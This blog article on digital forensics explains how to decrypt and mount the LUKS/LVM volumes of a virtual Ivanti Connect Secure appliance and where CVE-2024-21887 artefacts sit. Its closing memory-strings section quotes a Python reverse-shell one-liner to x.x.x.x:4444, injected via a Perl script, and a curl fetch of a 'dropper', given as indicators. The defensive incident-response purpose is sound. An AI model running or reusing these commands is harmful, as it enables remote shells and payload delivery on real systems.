Ivanti Connect Secure Auth Bypass and Remote Code Authentication CVE-2024-21887

This article provides guidance on how to inspect/analyse disk images/memory from a virtual Ivanti Connect Secure appliance, in response to CVE-2023-46085 and CVE-2024-21887.
On 10th January 2024, Volexity posted an article[1] advising they had identified active in-the-wild exploitation of two zero day vulnerabilities affecting Ivanti's Connect Secure (ICS) application.
On 12th January 2024, Mandiant also contributed to the public discussion and posted[2] their article.
Based on the above articles, we deployed a vulnerable Ivanti Connect Secure appliance (v22.3R1, build 1647) to test publicly available proof of concepts to understand where artefacts may reside in order to support forensic analysis.
This article does not reference indicators of compromise. Please check blog posts by Volexity, Mandiant, and Rapid7. Please also follow mitigation advice by Ivanti[7] and watchTowr[8]
This article assumes you have a virtual appliance, you have followed your incident response process, and have preserved system snapshots (including memory dumps), and disk images.
(If you're performing this on Hyper-V or ESXi, just create a snapshot and export resultant virtual disks and vmem and copy them to your analysis environment).
Inspecting Disk Image
A single VMDK was subject to analysis. Unaware of the filesystem, we simply initially inspected the disk using FTK Imager on a Windows host. This indicated (as you can see in the photo) there are a series of partitions of various sizes, with varying filesystems. I immediately felt there were similarities between the ICS application and the Citrix ADC application, that being it is likely based on BSD/FreeBSD, but this required further digging.
Expanding the 'unpartitioned space [LVM2]' node indicated physical volume (pv) groups. Each folder contains relevant metadata and LVM configuration data, such as volume group ID, format, underlying partitions (which physical volume/partition they relate to).
Upon inspecting groupA-runtme, groupZ-home, etc, we could see indications that LUKS was being used. This throws a spanner in the works as we don't know any of the protectors. (If you need a refresher or some test disk images for LVM and LUKS, head over here >ext4, LVM, and LUKS1/LUKS2
So we have a virtual disk, it contains multiple partitions, they're of an unknown filesystem, we need a key to decrypt the LUKS volume and then we can reassemble it.
A recent Blackhat[3] resource authored by Orange Tsai and Meh Chang came in rather handy. If Orange's name is familiar, have a look at the history behind ProxyShell. Anyway, that article suggests that if you append init=//bin/sh to the grub bootloader, you can spawn a shell during boot. Added that, F10 to boot with new options, and we have a new shell.
Modify grub boot options
Dropped into a shell
We know lvm/mdadm config is usually in /etc so this is the first place we look. We see /etc/lvmkey, so let's see what it contains. Executing $ cat lvmkey distorts the screen, throws characters everywhere, and makes the terminal unusable. There are limited command line tools so there's no real way to copy the key, other than using cat.
This Stackoverflow article[4] provides a decoding table for the above values. This converts to b99ecf89754ec76018ca0eda5d6ac7. Next step is to convert that to a key file so we can use it to decrypt our LUKS volume. If this were a simple password, you could attempt to mount the volume and enter the password[5]
Create a hex output of the key so we can use it as a keyfile;
$ echo -n b99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > lvmkey
... which turns out to be incorrect, and the resultant lvmkey is incorrect.
It was about this time that we were provided with Rapid7's technical analysis[6] which ultimately saved a lot of time, as we would've been going down a rabbit hole. The arguments originally used with cat (-v) wasn't sufficient, as there is a special character ($) at the beginning of the key. This is why there is a new line between the command and M-9. The correct key is 0ab99ecf89754ec76018ca0eda5d6ac7.
$ echo -n 0ab99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > lvmkey
Now we need to either mount the VMDK inside the our VM, or attach it externally as a new disk.
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sdc 8:32 0 40G 0 disk
├─sdc1 8:33 0 70.6M 0 part
├─sdc2 8:34 0 70.6M 0 part
├─sdc3 8:35 0 70.6M 0 part
├─sdc4 8:36 0 1K 0 part
├─sdc5 8:37 0 3G 0 part
├─sdc6 8:38 0 4G 0 part
├─sdc7 8:39 0 8.3G 0 part
├─sdc8 8:40 0 4G 0 part
├─sdc9 8:41 0 8.3G 0 part
├─sdc10 8:42 0 3.9G 0 part
└─sdc11 8:43 0 8.3G 0 part
Identify volume groups (vgs) and logical volumes (lvs) so we can attempt to mount them.
$ vgs
VG #PV #LV #SN Attr VSize VFree
groupA 2 2 0 wz--n- 12.30g 0
groupS 1 1 0 wz--n- 3.90g 0
groupZ 1 1 0 wz--n- 3.00g 0
$ lvs
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert
home groupA -wi-a----- 3.50g
runtime groupA -wi-a----- 8.80g
swap groupS -wi-a----- 3.90g
home groupZ -wi-a----- 3.00g
We need to activate each of the volume groups (groupA, S, Z) so we can map them (-a activates them, y is yes/confirm)
$ vgchange -ay groupA
2 logical volume(s) in volume group "groupA" now active
$ vgchange -ay groupS
1 logical volume(s) in volume group "groupS" now active
$ vgchange -ay groupZ
1 logical volume(s) in volume group "groupZ" now active
Now we can see that partitions within our block device (/dev/sdc) are identified as LVM parts
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sdc 8:32 0 40G 0 disk
├─sdc1 8:33 0 70.6M 0 part
├─sdc2 8:34 0 70.6M 0 part
├─sdc3 8:35 0 70.6M 0 part
├─sdc4 8:36 0 1K 0 part
├─sdc5 8:37 0 3G 0 part
│ └─groupZ-home 253:3 0 3G 0 lvm
├─sdc6 8:38 0 4G 0 part
│ ├─groupA-home 253:0 0 3.5G 0 lvm
│ └─groupA-runtime 253:1 0 8.8G 0 lvm
├─sdc7 8:39 0 8.3G 0 part
│ └─groupA-runtime 253:1 0 8.8G 0 lvm
├─sdc8 8:40 0 4G 0 part
├─sdc9 8:41 0 8.3G 0 part
├─sdc10 8:42 0 3.9G 0 part
│ └─groupS-swap 253:2 0 3.9G 0 lvm
└─sdc11 8:43 0 8.3G 0 part
We can also see our logical volumes are visible under /dev/mapper
$ ls -l /dev/mapper
groupA-home -> ../dm-0
groupA-runtime -> ../dm-1
groupS-swap -> ../dm-2
groupZ-home -> ../dm-3
Confirming we can't mount each LVM part as it's protected by LUKS;
$ mount /dev/groupA/home /mnt/tmp
mount: /mnt/tmp: unknown filesystem type 'crypto_LUKS'.
Mount each /dev/mapper/group* entry with a corresponding point name.
$ ls /dev/group*
/dev/groupA:
home runtime
/dev/groupS:
swap
/dev/groupZ:
home
$ cryptsetup luksOpen -d lvmkey /dev/groupA/home ivanti1
$ cryptsetup luksOpen -d lvmkey /dev/groupA/runtime ivanti2
$ cryptsetup luksOpen -d lvmkey /dev/groupS/swap ivanti3
$ cryptsetup luksOpen -d lvmkey /dev/groupZ/home ivanti4
You can see how we've gone from raw block devices, to VG/LV, and now mounted points.
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sdc 8:32 0 40G 0 disk
├─sdc1 8:33 0 70.6M 0 part
├─sdc2 8:34 0 70.6M 0 part
├─sdc3 8:35 0 70.6M 0 part
├─sdc4 8:36 0 1K 0 part
├─sdc5 8:37 0 3G 0 part
│ └─groupZ-home 253:3 0 3G 0 lvm
│ └─ivanti4 253:7 0 3G 0 crypt
├─sdc6 8:38 0 4G 0 part
│ ├─groupA-home 253:0 0 3.5G 0 lvm
│ │ └─ivanti1 253:4 0 3.5G 0 crypt
│ └─groupA-runtime 253:1 0 8.8G 0 lvm
│ └─ivanti2 253:5 0 8.8G 0 crypt
├─sdc7 8:39 0 8.3G 0 part
│ └─groupA-runtime 253:1 0 8.8G 0 lvm
│ └─ivanti2 253:5 0 8.8G 0 crypt
├─sdc8 8:40 0 4G 0 part
├─sdc9 8:41 0 8.3G 0 part
├─sdc10 8:42 0 3.9G 0 part
│ └─groupS-swap 253:2 0 3.9G 0 lvm
│ └─ivanti3 253:6 0 3.9G 0 crypt
└─sdc11 8:43 0 8.3G 0 part
We also have corresponding mapper entries under /dev/mapper for ivanti[1..4]
$ ls /dev/mapper
ivanti1 ivanti2 ivanti3 ivanti4
Now we need to create a mount location, and then mount each LVM
$ mkdir /mnt/ivanti{1..4}
$ mount /dev/mapper/ivanti1 /mnt/ivanti1
$ mount /dev/mapper/ivanti2 /mnt/ivanti2
$ mount /dev/mapper/ivanti3 /mnt/ivanti3
$ mount /dev/mapper/ivanti4 /mnt/ivanti4
$ ls /mnt/ivanti1
boot lost+found root
$ ls /mnt/ivanti2
ace cores extra-sw gs_files local lost+found pkg runtime snmpconf snmpd.spec.cfg sysconf tmp upgradelogs var versions
$ ls /mnt/ivanti3
analytics.log dscsd.statementcounters dsserver.statementcounters iptable_checkResult sbrhealth
attackaudit-server.statementcounters dsdashserver.statementcounters dsserver-tasks.pl.statementcounters iptable_result sbrnotify.exclusion
browse-server.statementcounters dsdashsummary.statementcounters dsstartfb.statementcounters ive.ovfEnv sbrnotify.statementcounters
cache_server.statementcounters dsdbglogd.statementcounters dsstartguacd.statementcounters iveradius.exclusion scanner
cgi-errors dsevntd.statementcounters dsstartkwatchdog.statementcounters libevntd.statementcounters sessionserver.statementcounters
cgi-server.statementcounters dsidpmonitor.statementcounters dsstartnis.statementcounters licenseMightHaveChanged.pl.statementcounters smbconf.statementcounters
checkWinbinddProcesses.pl.statementcounters dsinvoked.statementcounters dsstartws.statementcounters lmdbccerr smbmon.statementcounters
cmdmmap.sMxNw2 dsjavad.statementcounters dsstatdump.statementcounters namecoordinatord.statementcounters startVmwareGuestd.pl.statementcounters
CpuStatus dsksyslog.statementcounters dssyslogfwd.statementcounters nameserverd.statementcounters stats
dhcpProxy.statementcounters dslicenseclientd.statementcounters dssyslogfwd_zmq_sock notification svb
dhcpreq-ext0.log dsliveupdate.statementcounters dssysmonitord.statementcounters numlineevlog tmp
dhcpreq-int0.log dslmdbcheck.statementcounters dstaillog.statementcounters out.log Tncshealth
dmi-server.statementcounters dslogserver.statementcounters dsterminald.statementcounters parevntd.statementcounters tncs.statementcounters
dns_cache.statementcounters dsmdm.statementcounters dsvlsHeartBeat.statementcounters perl.statementcounters updateLinkLocalAddress.pl.statementcounters
dsacpiwatch.statementcounters dsnetd.statementcounters dswatchdogng.statementcounters pssaml.statementcounters vmware-root
dsagentd.statementcounters dsnicsorter.statementcounters EGG-INFO pushconfig.util watchdog.statementcounters
dsclusinfod.statementcounters dsnodemon.statementcounters eventd.statementcounters pyeventhandler.statementcounters web80.statementcounters
dscockpitd.statementcounters dspasschanged.statementcounters fqdnacl.statementcounters pythoneventhandler web.statementcounters
dsconfig.pl.statementcounters dspushserver.statementcounters have_many_opened_files radius.statementcounters zeromq
dscpumond.statementcounters dsradiusacct.statementcounters hsperfdata_root res_utilization
dscrld.statementcounters dssensord.statementcounters html5acc-server.statementcounters saml-metadata-server.statementcounters
$ ls /mnt/ivanti4
bin boot dbg dev etc grub-2 lib lost+found mnt2 modules pkg proc sbin sys tmp usr va
We used Rapid7's public POC to simulate an attack on a new Ivanti appliance to generate artefacts, spawn a reverse shell, transfer files to a remote host, explore the file system, etc.
At the time of this article, we were only able to find memory resident artefacts relating to the shell itself and possible commands.
Possible Artefact Locations
Location
Contents
ivanti2/runtime/logs/log.admin.vc0
Console logins from foreign/remote IP addresses, user-agent data, username information, ICS appliance SSL information
ivanti2/runtime/logs/log.events.vc0
As above
ivanti2/runtime/system.j
Remote IP address entries relating to incoming connections
Relevant Memory Strings (if you don't have a volatility profile)
python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
/home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh",
/bin/sh
Remember if you're using grep/strings, use -A (after) and -B (before) to show X number of lines before/after a match. (PID 4753, 4756 below)
--
2958 2722 0.3 0.6 98836 186616 55684 S radius -debug -d.
2997 1 0.0 0.0 696 9184 400 S smbserver
2998 2997 0.0 0.0 1496 10008 4416 S smbserver
4132 2186 0.0 0.5 6820 76732 43596 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/saml-server ssoservice --dspar 27 98
4133 4132 0.0 0.2 6820 76732 22988 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/saml-server ssoservice --dspar 27 98
4753 2852 0.0 0.0 452 4852 3744 S /bin/sh -c /home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh",
4756 4753 0.0 0.1 2296 9532 8208 S python -c import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
4757 4756 0.0 0.0 460 4860 3848 S /bin/sh -i
4762 2 0.0 0.0 0 0 0 I [kworker/u8:2]
6510 2320 0.0 0.2 5308 60356 23548 S /home/ecbuilds/int-rel/sa/22.3/bld1647.1/install/bin/parevntd
6543 2 0.0 0.0 0 0 0 I [kworker/u8:0]
--
/perl5/bin/somereallybadcommand
/perl5/bin/curl -ik https://remoteurl.xyz/dropper
References: